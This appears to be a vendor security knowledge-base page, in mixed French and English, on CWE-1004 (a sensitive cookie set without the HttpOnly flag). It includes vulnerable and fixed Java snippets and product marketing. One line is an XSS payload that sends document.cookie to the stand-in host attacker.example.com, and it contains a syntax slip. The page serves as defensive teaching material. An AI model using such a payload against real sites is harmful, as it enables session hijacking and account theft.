CWE-1004 Variante Incomplet Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Définition

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Impact réel

Real-world CVEs caused by CWE-1004

  • Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • Appliance for managing encrypted communications does not use HttpOnly flag.

Comment les attaquants l'exploitent

Parcours de l'attaquant étape par étape

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Exemple de code vulnérable

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Vulnérable Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Charge utile de l'attaquant

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Charge utile de l'attaquant JavaScript
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Exemple de code sécurisé

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Sécurisé Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Liste de contrôle de prévention

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Signaux de détection

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Correction automatique Plexicus

Plexicus détecte automatiquement CWE-1004 et ouvre une PR de correction en moins de 60 secondes.

Codex Remedium analyse chaque commit, identifie cette faiblesse précise et livre une pull request prête à être relue avec le correctif. Pas de tickets. Pas de transferts.

Questions fréquentes

Frequently asked questions

Qu'est-ce que CWE-1004 ?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Quelle est la gravité de CWE-1004 ?

MITRE évalue la probabilité d'exploitation comme Moyenne — l'exploitation est réaliste mais nécessite généralement des conditions spécifiques.

Quels langages ou plateformes sont affectés par CWE-1004 ?

MITRE lists the following affected platforms: Web Based.

Comment puis-je prévenir CWE-1004 ?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Comment Plexicus détecte et corrige CWE-1004 ?

Le moteur SAST de Plexicus reconnaît la signature de flux de données de CWE-1004 à chaque commit. Lorsqu'une correspondance est trouvée, notre agent Codex Remedium ouvre une PR de correction avec le code corrigé, les tests et un résumé d'une ligne pour le relecteur.

Où puis-je en savoir plus sur CWE-1004 ?

MITRE publie la définition canonique à https://cwe.mitre.org/data/definitions/1004.html. Vous pouvez également consulter la documentation OWASP et NIST pour des conseils adjacents.

Prêt quand vous l'êtes

Arrêtez de payer par développeur.
Commencez à fermer la boucle.

Plexicus est l'ASPM natif IA qui scanne, filtre, corrige, penteste et explique — de façon autonome. Développeurs illimités, dépôts illimités, actions IA à usage équitable. Vrai niveau gratuit, €269/mo annuel quand vous êtes prêt.